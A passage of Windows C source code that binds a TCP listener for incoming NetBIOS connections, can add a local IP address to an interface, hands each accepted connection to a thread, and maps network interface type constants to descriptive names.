			closesocket(tcpsock); 
			return 0; 
		} 
 
		phostent = gethostbyname((char *)buff); 
 
		if (phostent == NULL) 
		{ 
			printf("Error %d getting local address for name %s\n", GETSOCKETERROR(), buff ); 
			closesocket(tcpsock); 
			return 0; 
		} 
		g_LocalIP = ((struct in_addr *) phostent->h_addr)->s_addr; 
	} 
 
	sockaddr.sin_addr.s_addr = g_LocalIP; 
	sockaddr.sin_port = htons(g_LocalPort); 
	sockaddr.sin_family = AF_INET; 
 
	if (g_bAddLocalIP) 
	{ 
		DWORD Netmask = inet_addr("255.255.255.0"); 
 
		d = AddIPAddress(g_LocalIP, Netmask, g_LocalInterfaceNumber, &NTEContext, &NTEInstance); 
 
		if (d != NO_ERROR) 
			printf("Error %d adding IP address to interface %x: %s\n", d, g_LocalInterfaceNumber, StrError(d)); 
		else 
			printf("Local IP address added to interface %x\n", g_LocalInterfaceNumber); 
	} 
 
 
	if (bind(tcpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR) 
	{ 
		d = GETSOCKETERROR(); 
		printf("Error %u binding to port %d at address %s\n", d, g_LocalPort, inet_ntoa(sockaddr.sin_addr) ); 
		closesocket(tcpsock); 
		return 0; 
	} else { 
		printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa(sockaddr.sin_addr) ); 
	} 
 
 
	if (listen(tcpsock, SOMAXCONN) == SOCKET_ERROR) 
	{ 
		d = GETSOCKETERROR(); 
		printf("Error %u listening on socket\n", d ); 
		closesocket(tcpsock); 
		return 0; 
	} 
 
 
	signal(SIGBREAK, SignalHandler); 
	signal(SIGINT, SignalHandler); 
	signal(SIGABRT, SignalHandler); 
	signal(SIGFPE, SignalHandler); 
	signal(SIGILL, SignalHandler); 
	signal(SIGSEGV, SignalHandler); 
	signal(SIGTERM, SignalHandler); 
 
	DWORD l = 1; 
	ioctlsocket(tcpsock, FIONBIO , &l); 
 
	do 
	{ 
		NEWCONINFO newconinfo; 
		int socklen = sizeof(sockaddr); 
 
		do 
		{ 
			if ((inconsock = accept(tcpsock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET) 
			{ 
				DWORD err = WSAGetLastError(); 
 
				if (err != WSAEWOULDBLOCK) 
				{ 
					printf("Error %d receiving incoming NetBIOS connection\n", err); 
					g_bQuit = FALSE; 
				} 
				else 
				{ 
					Sleep(5); 
				} 
			} 
		} while (!g_bQuit && inconsock == INVALID_SOCKET ); 
 
		if (!g_bQuit ) 
		{ 
 
			BOOL bDup = FALSE; 
			DWORD d; 
			for (d = 0; d < ConnectedSize && !bDup; d++) 
			{ 
				if (ConnectedList[d] == sockaddr.sin_addr.s_addr) 
					bDup = TRUE; 
			} 
 
			if (bDup) 
			{ 
				printf("Connection rejected: %s already connected\n", inet_ntoa(sockaddr.sin_addr)); 
				closesocket(inconsock); 
			} 
			else 
			{ 
				printf("Connection from %s:%d\n", inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port)); 
 
				ConnectedList[ConnectedSize] = sockaddr.sin_addr.s_addr; 
 
				newconinfo.hostcount = ConnectedSize++; 
 
				newconinfo.connectionsock = inconsock; 
				memcpy(&newconinfo.sourcesockaddr, &sockaddr, sizeof(SOCKADDR_IN)); 
 
				_beginthread(mainconnectionhandler, 0, &newconinfo); 
 
				Sleep(50); 
			} 
		} 
 
	} while (!g_bQuit ); 
 
	closesocket(tcpsock); 
 
	if (g_bAddLocalIP) 
	{ 
		DeleteIPAddress(NTEContext); 
		printf("Deleted incoming IP address\n"); 
	} 
 
 
	Sleep(400); 
 
	WSACleanup(); 
 
	printf("Exiting main\n"); 
 
	return 0; 
} 
 
 
 
const char *GetInterfaceType(DWORD Type) 
{ 
	static char retbuff[32]; 
	const char *ret = retbuff; 
 
	switch (Type) 
	{ 
	default: 
		sprintf(retbuff, "Unknown: %d", Type); 
		break; 
	case IF_TYPE_OTHER: 
		ret = "OTHER"; 
		break; 
	case IF_TYPE_REGULAR_1822: 
		ret = "REGULAR 1822"; 
		break; 
	case IF_TYPE_HDH_1822: 
		ret = "HDH 1822"; 
		break; 
	case IF_TYPE_DDN_X25: 
		ret = "DDN X25"; 
		break; 
	case IF_TYPE_RFC877_X25: 
		ret = "RFC877 X25"; 
		break; 
	case IF_TYPE_ETHERNET_CSMACD: 
		ret = "ETHERNET CSMACD"; 
		break; 
	case IF_TYPE_IS088023_CSMACD: 
		ret = "IS088023 CSMACD"; 
		break; 
	case IF_TYPE_ISO88024_TOKENBUS: 
		ret = "ISO88024 TOKENBUS"; 
		break; 
	case IF_TYPE_ISO88025_TOKENRING: 
		ret = "ISO88025_TOKENRING"; 
		break; 
	case IF_TYPE_ISO88026_MAN: 
		ret = "ISO88026_MAN"; 
		break; 
	case IF_TYPE_STARLAN: 
		ret = "STARLAN"; 
		break; 
	case IF_TYPE_PROTEON_10MBIT: 
		ret = "PROTEON_10MBIT"; 
		break; 
	case IF_TYPE_PROTEON_80MBIT: 
		ret = "PROTEON_80MBIT"; 
		break; 
	case IF_TYPE_HYPERCHANNEL: 
		ret = "HYPERCHANNEL"; 
		break; 
	case IF_TYPE_FDDI: 
		ret = "FDDI"; 
		break; 
	case IF_TYPE_LAP_B: 
		ret = "LAP_B"; 
		break; 
	case IF_TYPE_SDLC: 
		ret = "SDLC"; 
		break; 
	case IF_TYPE_DS1: 
		ret = "DS1"; 
		break; 
	case IF_TYPE_E1: 
		ret = "E1"; 
		break; 
	case IF_TYPE_BASIC_ISDN: 
		ret = "BASIC_ISDN"; 
		break; 
	case IF_TYPE_PRIMARY_ISDN: 
		ret = "PRIMARY_ISDN"; 
		break; 
	case IF_TYPE_PROP_POINT2POINT_SERIAL: 
		ret = "PROP POINT2POINT SERIAL"; 
		break; 
	case IF_TYPE_PPP: 
		ret = "PPP"; 
		break; 
	case IF_TYPE_SOFTWARE_LOOPBACK: 
		ret = "SOFTWARE LOOPBACK"; 
		break; 
	case IF_TYPE_EON: 
		ret = "EON - CLNP over IP"; 
		break; 
	case IF_TYPE_ETHERNET_3MBIT: 
		ret = "ETHERNET 3MBIT"; 
		break; 
	case IF_TYPE_NSIP: 
		ret = "NSIP - XNS over IP"; 
		break; 
	case IF_TYPE_SLIP: 
		ret = "SLIP"; 
		break; 
	case IF_TYPE_ULTRA: 
		ret = "ULTRA"; 
		break; 
	case IF_TYPE_DS3: 
		ret = "DS3-MIB"; 
		break; 
	case IF_TYPE_SIP: 
		ret = "SIP - SMDS, coffee"; 
		break; 
	case IF_TYPE_FRAMERELAY: 
		ret = "FRAMERELAY"; 
		break; 
	case IF_TYPE_RS232: 
		ret = "RS232"; 
		break; 
	case IF_TYPE_PARA: 
		ret = "Parallel port"; 
		break; 
	case IF_TYPE_ARCNET: 
		ret = "ARCNET"; 
		break; 
	case IF_TYPE_ARCNET_PLUS: 
		ret = "ARCNET_PLUS"; 
		break; 
	case IF_TYPE_ATM: 
		ret = "ATM"; 
		break; 
	case IF_TYPE_MIO_X25: 
		ret = "MIO_X25"; 
		break; 
	case IF_TYPE_SONET: 
		ret = "SONET or SDH"; 
		break; 
	case IF_TYPE_X25_PLE: 
		ret = "X25_PLE"; 
		break; 
	case IF_TYPE_ISO88022_LLC: 
		ret = "ISO88022_LLC"; 
		break; 
	case IF_TYPE_LOCALTALK: 
		ret = "LOCALTALK"; 
		break; 
	case IF_TYPE_SMDS_DXI: 
		ret = "SMDS_DXI"; 
		break; 
	case IF_TYPE_FRAMERELAY_SERVICE: 
		ret = "FRAMERELAY_SERVICE"; 
		break; 
	case IF_TYPE_V35: 
		ret = "V35"; 
		break; 
	case IF_TYPE_HSSI: 
		ret = "HSSI"; 
		break; 
	case IF_TYPE_HIPPI: 
		ret = "HIPPI"; 
		break; 
	case IF_TYPE_MODEM: 
		ret = "MODEM"; 
		break; 
	case IF_TYPE_AAL5: 
		ret = "AAL5 over ATM"; 
		break; 
	case IF_TYPE_SONET_PATH: 
		ret = "SONET_PATH"; 
		break; 
	case IF_TYPE_SONET_VT: 
		ret = "SONET_VT"; 
		break; 
	case IF_TYPE_SMDS_ICIP: 
		ret = "SMDS InterCarrier Interface"; 
		break; 
	case IF_TYPE_PROP_VIRTUAL: 
		ret = "Proprietary virtual/internal"; 
		break; 
	case IF_TYPE_PROP_MULTIPLEXOR: 
		ret = "Proprietary multiplexing"; 
		break; 
	case IF_TYPE_IEEE80212: 
		ret = "IEEE80212 - 100BaseVG"; 
		break; 
	case IF_TYPE_FIBRECHANNEL: 
		ret = "FIBRECHANNEL"; 
		break; 
	case IF_TYPE_HIPPIINTERFACE: 
		ret = "HIPPIINTERFACE"; 
		break; 
	case IF_TYPE_AFLANE_8023: 
		ret = "ATM Emulated LAN for 802.3"; 
		break; 
	case IF_TYPE_AFLANE_8025: 
		ret = "ATM Emulated LAN for 802.5"; 
		break; 
	case IF_TYPE_CCTEMUL: 
		ret = "CCTEMUL - ATM Emulated circuit"; 
		break; 
	case IF_TYPE_FASTETHER: 
		ret = "Fast Ethernet (100BaseT)"; 
		break; 
	case IF_TYPE_ISDN: 
		ret = "ISDN and X.25"; 
		break; 
	case IF_TYPE_V11: 
		ret = "CCITT V.11/X.21"; 
		break; 
	case IF_TYPE_V36: 
		ret = "CCITT V.36"; 
		break; 
	case IF_TYPE_G703_64K: 
		ret = "CCITT G703 at 64Kbps"; 
		break; 
	case IF_TYPE_G703_2MB: 
		ret = "G703_2MB"; 
		break; 
	case IF_TYPE_QLLC: 
		ret = "SNA QLLC"; 
		break; 
	case IF_TYPE_FASTETHER_FX: 
		ret = "Fast Ethernet (100BaseFX)"; 
		break; 
	case IF_TYPE_CHANNEL: 
		ret = "CHANNEL"; 
		break; 
	case IF_TYPE_IEEE80211: 
		ret = "IEEE80211 - Radio spread spectrum"; 
		break; 
	case IF_TYPE_IBM370PARCHAN: 
		ret = "IBM370PARCHAN - IBM System 360/370 OEMI Channel"; 
		break; 
	case IF_TYPE_ESCON: 
		ret = "IBM Enterprise Systems Connection"; 
		break; 
	case IF_TYPE_DLSW: 
		ret = "Data Link Switching"; 
		break; 
	case IF_TYPE_ISDN_S: 
		ret = "ISDN S/T interface"; 
		break; 
	case IF_TYPE_ISDN_U: 
		ret = "ISDN U interface"; 
		break; 
	case IF_TYPE_LAP_D: 
		ret = "Link Access Protocol D"; 
		break; 
	case IF_TYPE_IPSWITCH: 
		ret = "IP Switching Objects"; 
		break; 
	case IF_TYPE_RSRB: 
		ret = "Remote Source Route Bridging"; 
		break; 
	case IF_TYPE_ATM_LOGICAL: 
		ret = "ATM Logical Port"; 
		break; 
	case IF_TYPE_DS0: 
		ret = "Digital Signal Level 0"; 
		break; 
	case IF_TYPE_DS0_BUNDLE: 
		ret = "Group of ds0s on the same ds1"; 
		break; 
	case IF_TYPE_BSC: 
		ret = "Bisynchronous Protocol"; 
		break; 
	case IF_TYPE_ASYNC: 
		ret = "Asynchronous Protocol"; 
		break; 
	case IF_TYPE_CNR: 
		ret = "Combat Net Radio"; 
		break; 
	case IF_TYPE_ISO88025R_DTR: 
		ret = "ISO 802.5r DTR"; 
		break; 
	case IF_TYPE_EPLRS: 
		ret = "Ext Pos Loc Report Sys"; 
		break; 
	case IF_TYPE_ARAP: 
		ret = "Appletalk Remote Access Protocol"; 
		break; 
	case IF_TYPE_PROP_CNLS: 
		ret = "Proprietary Connectionless Proto"; 
		break; 
	case IF_TYPE_HOSTPAD: 
		ret = "CCITT-ITU X.29 PAD Protocol"; 
		break; 
	case IF_TYPE_TERMPAD: 
		ret = "CCITT-ITU X.3 PAD Facility"; 
		break; 
	case IF_TYPE_FRAMERELAY_MPI: 
		ret = "Multiproto Interconnect over FR"; 
		break; 
	case IF_TYPE_X213: 
		ret = "CCITT-ITU X213"; 
		break; 
	case IF_TYPE_ADSL: 
		ret = "Asymmetric Digital Subscrbr Loop"; 
		break; 
	case IF_TYPE_RADSL: 
		ret = "Rate-Adapt Digital Subscrbr Loop"; 
		break; 
	case IF_TYPE_SDSL: 
		ret = "Symmetric Digital Subscriber Loop"; 
		break; 
	case IF_TYPE_VDSL: 
		ret = "Very H-Speed Digital Subscrb Loop"; 
		break; 
	case IF_TYPE_ISO88025_CRFPRINT: 
		ret = "ISO 802.5 CRFP"; 
		break; 
	case IF_TYPE_MYRINET: 
		ret = "Myricom Myrinet"; 
		break; 
	case IF_TYPE_VOICE_EM: 
		ret = "Voice recEive and transMit"; 
		break; 
	case IF_TYPE_VOICE_FXO: 
		ret = "Voice Foreign Exchange Office"; 
		break; 
	case IF_TYPE_VOICE_FXS: 
		ret = "Voice Foreign Exchange Station"; 
		break; 
	case IF_TYPE_VOICE_ENCAP: 
		ret = "Voice encapsulation"; 
		break; 
	case IF_TYPE_VOICE_OVERIP: 
		ret = "Voice over IP encapsulation"; 
		break; 
	case IF_TYPE_ATM_DXI: 
		ret = "ATM DXI"; 
		break; 
	case IF_TYPE_ATM_FUNI: 
		ret = "ATM FUNI"; 
		break; 
	case IF_TYPE_ATM_IMA: 
		ret = "ATM IMA"; 
		break; 
	case IF_TYPE_PPPMULTILINKBUNDLE: 
		ret = "PPP Multilink Bundle"; 
		break; 
	case IF_TYPE_IPOVER_CDLC: 
		ret = "IBM ipOverCdlc"; 
		break; 
	case IF_TYPE_IPOVER_CLAW: 
		ret = "IBM Common Link Access to Workstn"; 
		break; 
	case IF_TYPE_STACKTOSTACK: 
		ret = "IBM stackToStack"; 
		break; 
	case IF_TYPE_VIRTUALIPADDRESS: 
		ret = "IBM VIPA"; 
		break; 
	case IF_TYPE_MPC: 
		ret = "IBM multi-proto channel support"; 
		break; 
	case IF_TYPE_IPOVER_ATM: 
		ret = "IBM ipOverAtm"; 
		break; 
	case IF_TYPE_ISO88025_FIBER: 
		ret = "ISO 802.5j Fiber Token Ring"; 
		break; 
	case IF_TYPE_TDLC: 
		ret = "IBM twinaxial data link control"; 
		break; 
	case IF_TYPE_GIGABITETHERNET: 
		ret = "GIGABITETHERNET"; 
		break; 
	case IF_TYPE_HDLC: 
		ret = "HDLC"; 
		break; 
	case IF_TYPE_LAP_F: 
		ret = "LAP_F"; 
		break; 
	case IF_TYPE_V37: 
		ret = "V37"; 
		break; 
	case IF_TYPE_X25_MLP: 
		ret = "X.25 Multi-Link Protocol"; 
		break; 
	case IF_TYPE_X25_HUNTGROUP: 
		ret = "X.25 Hunt Group"; 
		break; 
	case IF_TYPE_TRANSPHDLC: 
		ret = "TRANSPHDLC"; 
		break; 
	case IF_TYPE_INTERLEAVE: 
		ret = "Interleave channel"; 
		break; 
	case IF_TYPE_FAST: 
		ret = "Fast channel"; 
		break; 
	case IF_TYPE_IP: 
		ret = "IP (for APPN HPR in IP networks)"; 
		break; 
	case IF_TYPE_DOCSCABLE_MACLAYER: 
		ret = "CATV Mac Layer"; 
		break; 
	case IF_TYPE_DOCSCABLE_DOWNSTREAM: 
		ret = "CATV Downstream interface"; 
		break; 
	case IF_TYPE_DOCSCABLE_UPSTREAM: 
		ret = "CATV Upstream interface"; 
		break; 
	case IF_TYPE_A12MPPSWITCH: 
		ret = "Avalon Parallel Processor"; 
		break; 
	case IF_TYPE_TUNNEL: 
		ret = "Encapsulation interface"; 
		break; 
	case IF_TYPE_COFFEE: 
		ret = "Coffee pot"; 
		break; 
	case IF_TYPE_CES: 
		ret = "Circuit Emulation Service"; 
		break; 
	case IF_TYPE_ATM_SUBINTERFACE: 
		ret = "ATM Sub Interface"; 
		break; 
	case IF_TYPE_L2_VLAN: 
		ret = "Layer 2 Virtual LAN using 802.1Q"; 
		break; 
	case IF_TYPE_L3_IPVLAN: 
		ret = "Layer 3 Virtual LAN using IP"; 
		break; 
	case IF_TYPE_L3_IPXVLAN: 
		ret = "Layer 3 Virtual LAN using IPX"; 
		break; 
	case IF_TYPE_DIGITALPOWERLINE: 
		ret = "IP over Power Lines"; 
		break; 
	case IF_TYPE_MEDIAMAILOVERIP: 
		ret = "Multimedia Mail over IP"; 
		break; 
	case IF_TYPE_DTM: 
		ret = "Dynamic syncronous Transfer Mode"; 
		break; 
	case IF_TYPE_DCN: 
		ret = "Data Communications Network"; 
		break; 
	case IF_TYPE_IPFORWARD: 
		ret = "IP Forwarding Interface"; 
		break; 
	case IF_TYPE_MSDSL: 
		ret = "Multi-rate Symmetric DSL"; 
		break; 
	case IF_TYPE_IEEE1394: 
		ret = "IEEE1394 High Perf Serial Bus"; 
		break; 
	} 
 
	return ret; 
}